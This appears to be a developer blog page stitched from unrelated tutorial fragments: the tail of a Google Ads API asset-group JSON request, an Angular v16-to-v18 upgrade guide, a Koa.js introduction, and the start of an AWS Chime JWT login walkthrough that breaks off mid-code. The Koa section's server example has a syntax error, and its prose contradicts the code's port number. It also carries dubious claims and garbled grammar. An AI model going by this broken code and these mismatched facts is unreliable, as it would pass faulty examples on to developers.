      "assetOperation": {
        "create": {
          "textAsset": {
            "text": "Long headline sample"
          },
          "resourceName": "customers/{customer ID}/assets/-5"
        }
      }
    },
    {
      "assetOperation": {
        "create": {
          "textAsset": {
            "text": "Description 1 sample"
          },
          "resourceName": "customers/{customer ID}/assets/-6"
        }
      }
    },
    {
      "assetOperation": {
        "create": {
          "textAsset": {
            "text": "Description 2 sample"
          },
          "resourceName": "customers/{customer ID}/assets/-7"
        }
      }
    },
    {
      "assetOperation": {
        "create": {
          "textAsset": {
            "text": "Business name"
          },
          "resourceName": "customers/{customer ID}/assets/-8"
        }
      }
    },
    {
      "assetOperation": {
        "create": {
          "imageAsset": {
            "mimeType": "UNKNOWN",
            "fullSize": {
              "heightPixels": 1200,
              "widthPixels": 628,
              "url": "sample url"
            }
          },
          "resourceName": "customers/{customer ID}/assets/-9"
        }
      }
    },
    {
      "assetOperation": {
        "create": {
          "imageAsset": {
            "mimeType": "UNKNOWN",
            "fullSize": {
              "heightPixels": 1200,
              "widthPixels": 1200,
              "url": "sample url"
            }
          },
          "resourceName": "customers/{customer ID}/assets/-10"
        }
      }
    },
    {
      "assetGroupAssetOperation": {
        "create": {
          "fieldType": "HEADLINE",
          "assetGroup": "customers/{customer ID}/assetGroups/-1",
          "asset": "customers/{customer ID}/assets/-2"
        }
      }
    },
    {
      "assetGroupAssetOperation": {
        "create": {
          "fieldType": "HEADLINE",
          "assetGroup": "customers/{customer ID}/assetGroups/-1",
          "asset": "customers/{customer ID}/assets/-3"
        }
      }
    },
    {
      "assetGroupAssetOperation": {
        "create": {
          "fieldType": "LONG_HEADLINE",
          "assetGroup": "customers/{customer ID}/assetGroups/-1",
          "asset": "customers/{customer ID}/assets/-5"
        }
      }
    },
    {
      "assetGroupAssetOperation": {
        "create": {
          "fieldType": "DESCRIPTION",
          "assetGroup": "customers/{customer ID}/assetGroups/-1",
          "asset": "customers/{customer ID}/assets/-6"
        }
      }
    },
    {
      "assetGroupAssetOperation": {
        "create": {
          "fieldType": "MARKETING_IMAGE",
          "assetGroup": "customers/{customer ID}/assetGroups/-1",
          "asset": "customers/{customer ID}/assets/-9"
        }
      }
    }
  ]
}

Here, you’ll dynamically replace {customerId} and {campaignId} with your customerId and campaignId.

Moral of the Story

If you’re ever facing those pesky "Not Enough Assets" errors, don’t let them mess with your head. Just make sure you're bundling everything into one atomic request when you're creating those asset groups. The key is the googleAds.mutate method!

Lesson learned: When in doubt, bulk it out! 💪

Need Custom Development? Get Expert Help! 🚀

Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's custom software, backend architecture, API integrations, or performance tuning, we have you covered.

👉 Let’s build something amazing together! Get in touch

Angular has been a cornerstone in web development, known for its robustness and versatility. Angular v16, widely adopted by developers, made significant strides in enhancing the developer experience with features like a new reactivity model, improved dependency injection, error handling, and diagnostics. This version also introduced the new Signals library and RxJS interop package, streamlining the management of data changes and optimizing performance.

Angular v18, on the other hand, continues to build upon these innovations with substantial improvements in server-side rendering, especially in i18n hydration support and better debugging capabilities. The focus on refining the reactivity model, optimizing standalone components, and further enhancing performance demonstrates Angular's ongoing commitment to making application development more modular and efficient.

This comparison will highlight the key differences between Angular v16 and Angular v18, providing a deeper understanding of the improvements and how they impact the development workflow.

Difference between Angular v16 and Angular v18

Reactivity Model:

• Angular 16: Introduced the Signal-based reactivity model, making data handling more efficient and predictable.

• Angular 18: Further enhances this model, offering more granular control over state changes, reducing unnecessary component re-renders, and improving overall performance.

Standalone Components:

• Angular 16: Brought the concept of standalone components, eliminating the need for NgModules in specific use cases, simplifying component structures.

• Angular 18: Refines this concept by offering more flexibility and robust features, making it easier to manage complex applications without relying on the traditional module-based architecture.

Performance Enhancements:

• Angular 16: Focused on optimizing change detection and improving runtime performance, resulting in a smaller framework size.

• Angular 18: Places greater emphasis on performance, with further reductions in bundle size, faster load times, and improvements targeted at running applications smoothly on both high-end and low-powered devices.

Dependency Injection (DI):

• Angular 16: Enhanced dependency injection by improving error messages and ensuring better stability.

• Angular 18: Introduces further refinements, simplifying the handling of complex DI scenarios, and providing improved diagnostics and injectors for standalone components.

Updating Angular v16 to Angular v18

Prerequisites Before Updating:

1. Backup: Take a complete backup of your project to prevent data loss in case of errors during the update process.

2. Compatibility Check: Ensure that all third-party packages and dependencies in your project are compatible with Angular v18.

3. Sequential Updates: Angular v17 must be installed before moving to Angular v18. Below are the steps for this multi-step update.

Steps to Update:

1. Node.js Version: Ensure you're using Node.js v18.13.0 or newer for Angular v17, and Node.js v18.19.0 or newer for Angular v18.

2. TypeScript Version: Use TypeScript 5.2+ for Angular v17 and TypeScript 5.4+ for Angular v18.

3. Zone.js Version: Angular v17 requires Zone.js v0.14.x or later.

Update to Angular v17:

1. Run the following commands in your project directory:

    ng update @angular/core@17 @angular/cli@17
   

2. Update Angular Material:

    ng update @angular/material@17
   

3. Adjust the following router configurations:

   • setupTestingRouter

   • canceledNavigationResolution

   • paramsInheritanceStrategy

   • titleStrategy

   • urlUpdateStrategy

   • urlHandlingStrategy

   • malformedUriErrorHandler

These properties are now part of the provideRouter or RouterModule.forRoot instead of the Router's public API.

4. Update NgSwitch equality checks to use strict equality (===) instead of loose equality (==). Angular will provide warnings for adjustments needed.

5. For child routes using loadComponent, set paramsInheritanceStrategy to always if they should inherit data from their parent routes. The default in Angular v17 is emptyOnly.

Update to Angular v18:

1. Once Angular v17 is installed, ensure that Node.js and TypeScript versions meet the Angular v18 requirements.

2. Update Angular to v18 by running:

    ng update @angular/core@18 @angular/cli@18
   

3. Update Angular Material to v18:

    ng update @angular/material@18
   

By following these steps, you can smoothly upgrade your Angular project from v16 to v18, while ensuring compatibility and optimal performance.

Conclusion

Updating from Angular v16 to Angular v18 brings significant performance improvements, better reactivity models, and more flexibility in how you structure your applications. Angular's move towards a modular and efficient architecture, especially with standalone components, will greatly enhance development productivity. The steps outlined ensure a smooth transition, allowing you to leverage the latest features and optimizations in Angular's ever-evolving ecosystem.

Need Custom Development? Get Expert Help! 🚀

Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's custom software, backend architecture, API integrations, or performance tuning, we have you covered.

👉 Let’s build something amazing together! Get in touch

Koa.js is used by a of companies name including:

• Airbnb

• Uber

• GitHub

• Microsoft etc.

Why use of Koa.js?

Koa.js used of a JavaScript generators, making the code shorter. Koa allows easy control of the request-response cycle without explicit callbacks. Unlike other frameworks, it doesn't come with built-in templating or routing tools, giving developers more freedom to customize their apps.

Why use Koa.js instead of Express.js?

Because both Koa.js and Express.js were created by same team, Koa.js is a lightweight and flexible framework that uses async features to avoid callback hell, offering ctx.request and ctx.response objects. It lacks built-in routing and templating, relying on external libraries. Express.js extends Node's req and res objects with additional methods and attributes, providing built-in routing and middleware capabilities.

Benefits of Koa.js

• Simplicity

• Improved Performance

• Easier Debugging

• Enhanced Control etc.

Features of Koa.js

• It is modern and futuristic.

• It is Minimalist Core.

• It is Better Error Handling.

• It uses ES6 generators. etc.

Installation of Koa.js

Install the node.js : Make sure you have Node.js installed. You can download it from node.js.org.

• Koa Required for Node v12 .

Set Up Your Project: Create a new directory for your project and initialize a new Node.js project.

• Create the new directory and new project

mkdir <projectname>
cd <projectname>

• Initialize a New node Project and install the Package: npm init -y

    npm init -y
    npm install koa
  

Create server

// app.js

//install package
const koa = require("koa");
//create the instance
const app = new koa();
//create the port
const port = 8080;
//handel the HTTP Request
app.use(async ctx = () => {
   ctx.body = "Hello World.."; // Respond with "Hello world" for all Request
};

// Create and start the server
app.listen(port || process.env.PORT , () =>{
   console.log(`Server Is running on url : http://localhost:${port}`); //// Log a message when the server starts
});

Run Application :

node app.js

Imports the Koa module and creates a Koa application instance (app). This instance will be used to configure middleware and handle HTTP requests.Registers middleware that responds with 'Hello World' for all HTTP requests.Sets the server's port number (using an environment variable or defaulting to 3000), and starts the server, logging a message indicating that it's running.

Conclusion

Koa.js, developed by the same team as Express.js, provides a lightweight, flexible framework that leverages modern JavaScript features like async functions for more expressive request handling.

Unlike Express, Koa doesn't come with built-in middleware or routing, offering developers greater customization and control.

Its minimalistic core and improved performance make it a robust choice for building web applications and APIs. Koa's emphasis on simplicity and modern features enhances debugging and overall development efficiency.

Prerequisites

Before we begin, ensure that you have the following:

• AWS Account with access to Chime SDK

• Basic knowledge of JWT and its usage

• Node.js environment installed on your local machine

• AWS SDK for JavaScript installed in your project

Setting Up AWS Chime SDK

1. Install AWS SDK and Chime SDK

   First, you need to install the required AWS SDK in your Node.js project.

     npm install aws-sdk uuid
   

   The aws-sdk package allows us to interact with AWS services, including AWS Chime. The uuid package is used for generating unique tokens for AWS API requests.

2. Set Up Environment Variables

   You will also need to set some environment variables that are used in the application:

    USER_ROLE_ARN=arn:aws:iam::xxxxxxxx:role/YourUserRole
    CHIME_APP_INSTANCE_ARN=arn:aws:chime:us-east-1:xxxxxxxx:app-instance/YourChimeAppInstance
   

   These values can be found in your AWS IAM roles and AWS Chime SDK settings.

JWT-Based User Login in AWS Chime SDK

The provided code implements a login system where users are authenticated using JWT tokens, and AWS Chime SDK is used to create or retrieve the necessary credentials for communication.

Step-by-Step Breakdown of the Code

Let’s break down the code and explain how it works:

typescriptCopy codeasync userSignIn(userData: any) {
  const { id, full_name } = userData;

  // Step 1: Create a user object that contains the UUID and display name
  const user: any = {
    uuid: id,
    displayName: full_name,
    metadata: null
  };

  // Step 2: Assume a role using AWS Security Token Service (STS) to obtain temporary credentials
  const creds = await this.assumeRole(user);

  // Step 3: Either create a new Chime user or get the existing user's ARN
  const userArn = await this.createOrGetChimeUserArn(user);

  // Step 4: Return the necessary Chime credentials to the frontend
  return {
    ChimeAppInstanceUserArn: userArn,
    ChimeUserId: user.uuid,
    ChimeCredentials: creds,
    ChimeDisplayName: user.displayName
  };
}